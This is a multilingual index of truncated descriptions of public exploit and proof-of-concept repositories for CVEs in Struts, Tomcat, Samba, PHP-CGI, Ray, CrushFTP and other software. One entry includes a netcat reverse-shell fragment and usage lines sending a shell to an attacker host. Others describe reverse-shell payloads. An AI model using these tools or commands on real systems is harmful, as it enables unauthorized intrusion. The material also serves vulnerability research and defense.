CVE-2024-36401-PoC

CVE-2024-36401-PoC Этот репозиторий содержит скрипт Proof of Concept PoC для уязвимости CVE-2024-36401, которая может быть использована для удаленного выполнения кода на целевом сервере. Возможности Назначение слушателя обратной оболочки с помощью Perl. Кодирование команд с использованием Base64...

CVE-2026-22444

CVE-2026-22444 Уязвимость проверки UNC-путей в Apache Solr Обзор CVE-2026-22444 — это уязвимость безопасности, затрагивающая Apache Solr, публично раскрытая примерно 20 января 2026 года. Уязвимость вызвана недостаточной проверкой входных данных CWE-20: Improper Input Validation в API "create core...

CVE-2014-0094

CVE-2014-0094 검증용. https://piyolog.hatenadiary.jp/entry/20140417/1397750197 를 참고하여, vulhub/java:7u55-jdk tomcat-8.0.5 struts-2.3.16 를 재현. classLoader는 동작하고 있는데, 정작 로그가 퍼센트 인코딩되어 버려서 RCE까지 이어지지 않네 windows 버전도 추가7u191이지만.... 이것도 안 되니, tomcat이 원인인가..?...

CVE-2017-3241-POC

CVE-2017-3241-POC Java RMI デシリアライゼーション脆弱性の PoC この POC を実行するには、JDK 8 を使用する必要があるでしょう。 クライアント側とサーバー側の両方の Message クラスに注目してください。それらは異なります。その違いがこの脆弱性を理解する鍵です。 Oracle が公開した修正は、開発者に Java セキュリティポリシーでデシリアライゼーションのホワイト/ブラックリストを設定させるというものです。言わせてもらえば、ハッキングされるまでそのリストの存在を知っている開発者がどれだけいるでしょうか？...

CVE-2023-50564

CVE-2023-50564 CVE-2023-50564 — это RCE-уязвимость в Pluck CMS v4.7.18. Она стала возможной из-за уязвимости произвольной загрузки файлов в компоненте /inc/modulesinstall.php, позволяющей выполнить произвольный код путём загрузки вредоносного .zip-файла. Использование Перед запуском эксплойта...

DVWA-ZAP-PENTEST

Оценка уязвимостей DVWA с помощью OWASP ZAP Практическая оценка безопасности веб-приложения DVWA Damn Vulnerable Web App , выполненная с использованием OWASP ZAP Zed Attack Proxy 2.17.0. В этом проекте задокументирован полный рабочий процесс: разведка spidering, автоматическое сканирование...

CVE-2026-14669

CVE-2026-14669 - PostgreSQL tochar Timezone Abbreviation Heap Buffer Overflow Функция tochar в PostgreSQL содержит уязвимость переполнения буфера в куче при обработке форматирования часового пояса. Злоумышленник, задав чрезмерно длинную аббревиатуру часового пояса POSIX, может вызвать запись за...

CVE-2021-1675-PrintNightmare-Analysis

Ресерч уязвимостей: Локальное повышение привилегий и RCE через Windows Print Spooler PrintNightmare / CVE-2021-1675 Репозиторий содержит подробный технический отчет Write-up и разбор концепта эксплуатации критической уязвимости в службе диспетчера печати Windows Print Spooler, позволяющей...

WSUSResponder

🧰 WSUSResponder Версия: 1.0.1 Автор: RZA / IT Operations Лицензия:MIT 🎯 Назначение Модуль WSUSResponder предоставляет набор инструментов PowerShell для быстрого реагирования на критическую уязвимость CVE-2025-59287 — удалённое выполнение кода RCE, затрагивающую Windows Server Update Services WSUS...

CVE-2025-62593-PoC

CVE-2025-62593 — удаленное выполнение кода в Ray без аутентификации Proof-of-concept для CVE-2025-62593 — уязвимости удаленного выполнения кода без аутентификации в распределенном движке AI-вычислений Ray, эксплуатируемой с помощью браузерных DNS-rebinding атак. Уязвимость добавлена в каталог CIS...

CVE-2024-24919-Check-Point-Remote-Access-VPN

CVE-2024-24919-Check-Point-Remote-Access-VPN CVE-2024-24919 — это уязвимость неаутентифицированного произвольного чтения файлов, которую можно рассматривать не иначе как полное неаутентифицированное удалённое выполнение кода RCE. Злоумышленник может читать любые конфиденциальные файлы на затронут...

CVE-2024-4040-CrushFTP-server

CVE-2024-4040-CrushFTP-server CrushFTP — это проприетарный многопротокольный многоплатформенный файловый сервер. CVE-2024-4040 — уязвимость внедрения шаблонов на стороне сервера в CrushFTP во всех версиях до 10.7.1 и 11.1.0 на всех платформах позволяет неаутентифицированным удалённым...

CVE-2024-38856-ApacheOfBiz

CVE-2024-38856-ApacheOfBiz Apache OFBiz — это система планирования ресурсов предприятия с открытым исходным кодом. Она предоставляет набор корпоративных приложений, которые интегрируют и автоматизируют многие бизнес-процессы предприятия. CVE-2024-38856 — это уязвимость до аутентификации в Apache...

CVE-2024-4879-ServiceNow

CVE-2024-4879-ServiceNow ServiceNow — это платформа для трансформации бизнеса, которая помогает компаниям управлять цифровыми рабочими процессами для корпоративных операций. CVE-2024-4879 может позволить неаутентифицированному пользователю удалённо выполнять код в Now Platform. Эта уязвимость...

Tomcat_PUT_GUI_EXP

TomcatPUTEXPV1.4 Графический инструмент эксплуатации уязвимости произвольной записи файлов методом PUT в Tomcat CVE-2017-12615 Описание уязвимости 19 сентября 2017 года Apache Tomcat официально подтвердил и исправил две критически опасные уязвимости, идентификаторы CVE: CVE-2017-12615 и...

CVE-2017-9791

CVE-2017-9791 Модуль Metasploit для эксплуатации уязвимости удаленного выполнения кода CVE-2017-9791 в Apache Struts...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE Данный репозиторий содержит мой эксплойт для уязвимости удаленного выполнения кода RCE в Adobe ColdFusion 2018. Описание эксплойта Эксплойт отправляет POST-запрос, содержащий JSP-обратную оболочку, на...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Использование root@kitploit: Эксплуатируем цель 10.129.232.46 на порту 445, отправляем обратную оболочку на 10.10.14.82 порт 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 С указанием своих rport и lport python3...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE 프로젝트 소개 및 원리 PHP 기본 환경XAMPP을 활용한 최초의 CVE-2024-4577 PHP-CGI RCE 취약점 EXP. The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit, supports SSRF, supports WAF bypass. PHP 기본 환경에서 RCE 구현. 원리: cgi.forceredirect +...

SDT_CW3B1_rce

SDTCW3B1rce CVE-2021-46422 Установка root@kitploit: git clone https://github.com/xanszZZ/SDTCW3B1rce cd SDTCW3B1rce Использование Данный инструмент написан как PoC в соответствии со спецификацией разработки фреймворка pocsuite3. Перед использованием загрузите pocsuite3. Адрес проекта root@kitploi...